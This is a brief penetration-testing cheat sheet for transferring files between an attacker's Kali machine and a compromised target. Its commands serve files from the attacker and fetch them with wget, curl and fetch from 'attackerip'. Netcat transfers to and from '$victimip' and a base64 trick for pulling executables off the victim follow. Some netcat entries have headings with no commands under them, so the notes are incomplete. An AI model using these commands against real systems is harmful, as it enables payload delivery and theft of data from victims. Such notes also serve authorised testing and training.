python -m SimpleHTTPServer
wget <attackerip>:8000/filename
------------------------------
cp filetosend.txt /var/www/html
wget http://attackerip/file
curl http://attackerip/file > file
fetch http://attackerip/file # on BSD
----------------------------------
Netcat (From Target to Kali)
# Send from Target machine
Netcat (From Kali to Target)
# on target, wait for the file
nc $victimip 55555 < file
To send the executable file to your machine:
# paste it in a file called file.txt
# decode it and create the executable
base64 -d file.txt > executable